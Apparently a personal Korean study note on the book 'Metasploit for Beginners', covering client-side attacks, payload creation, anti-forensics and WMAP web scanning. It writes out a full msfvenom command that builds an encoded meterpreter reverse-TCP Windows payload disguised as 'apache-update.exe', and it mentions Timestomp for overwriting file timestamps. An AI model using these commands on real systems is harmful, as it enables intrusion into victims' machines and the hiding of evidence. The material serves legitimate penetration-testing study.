개요
- Metasploit for Beginners(저자 Sagar Rahalkar) 책을 보고 일부 메모한 파일이다.
- https://www.amazon.com/Metasploit-Beginners-threat-free-best-class/dp/1788295978
- Metasploit 입문서로서는 아주 좋다. 쉽게 쓰여져 있고 알아야할 기본적인 내용은 다 써있다.
Client-side Attacks
- Client-side attack이란 각 개별 유저를 노리는 공격을 총칭한다. 예들 들어 공격자가 웹 사이트에서 멀웨어 코드가 임베드된 DOC, PDF, XLS등을 불특정 유저에게 다운로드시킨다음에 유저가 해당 파일을 실행하면 동작하는 타입의 공격이다.
- 이런 타입의 공격은 기존의 공격 형태 (글로벌 IP를 가진 서버를 대상으로 하는 형태)와는 달리, 예를들어 라우터 뒤에 있는 특정 조직의 사내 서버라던가 조직내의 PC를 공격할 수 있다는 특징이 있다.
공격 흐름
Client-side attack의 공격흐름은 다음과 같다.
- msfvenom을 사용해서 페이로드를 만든다.
- incomming 커넥션을 처리하기 위한 리스너를 시작한다.
- victim에게 페이로드를 보낸다.
- 리버스 세션을 기다린다.
페이로드 생성
Msfvenom
예전에는 Metasploit에 msfpayload 와 msfencode 만 존재했다. msfpayload는 시스템을 공격하기 위한 페이로드가, msfencode는 그 페이로드를 숨기기위한 obfuscate기능이 있다. 이 두가지 기능을 합친것이 최근에 등장한 msfvenom 이다.
커맨드
다음 커맨드를 사용해서 페이로드를 만든다.
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
LHOST= 192.168.44.134 LPORT= 8080 -e x86/shikata_ga_nai \
-f exe -o /root/Desktop/apache-update.exe
각 옵션의 의미는 다음과 같다.
- -a x86: x86아키텍처상에서 동작하는 페이로드를 만든다.
- –platform windows: 페이로드가 동작하는 플랫폼은 windows이다.
- -p windows/meterpreter/reverse_tcp: 페이로드는 reverse TCP로 동작하는 meterpreter이다.
- -e x86/shikata_ga_nai: 페이로드 인코더는 shikata_ga_nai를 사용한다.
- -f exe: 아웃풋 포맷은 exe이다.
- -o /root/Desktop/apache-update.exe: 만들어진 페이로드가 저장될 경로이다.
Anti-forensics
Timestomp
- Timestomp 툴을 사용해서 파일의 생성시간, 갱신시간등을 덮어쓰기할 수 있다.
- 그런데 윈도우즈에서 파일의 시간데이터를 덮어쓰는 것은 어려운 일일까?
- 여기를 보면 파워셸로 가능한 것 같다.
웹 어플리케이션 스캔 (WMAP)
load wmap
wmap_sites -a TARGET_DOMAIN
wmap_targets -t TARGET_URL
wmap_targets -l
wmap_run -t # 스캔에 사용할 수 있는 모듈을 체크하고 리스트업한다.
wmap_run -e # 스캔을 수행한다.
wmap_vulns -l # 스캔수행후 발견한 취약점 리스트를 보여준다.
정규식 테스트
자바스크립트로 테스트해본다. 잘 동작하는 것 같다.
const myRe = /^((?!brute).)*$/s;
myRe.exec('auxiliary/scanner/http/brute_dirs'); // null
myRe.exec('auxiliary/scanner/http/soap_xml'); //결과 존재
정규식을 사용해서 사용되는 모듈 제어
잘 동작하지 않는다. auxiliary/scanner/http/brute_dirs
모듈이 시간이 오래걸리기 때문에 제외시키고 싶은데 잘 안된다.
#정규표현식으로 특정 모듈(brute문자열이 포함된모듈) 제외
wmap_run -m ^((?!brute).)*$
wmap_run -m /^((?!brute).)*$/s
기타
help wmap # 도움말 보기
msf6 > help wmap
wmap Commands
=============
Command Description
------- -----------
wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns
참고
- https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt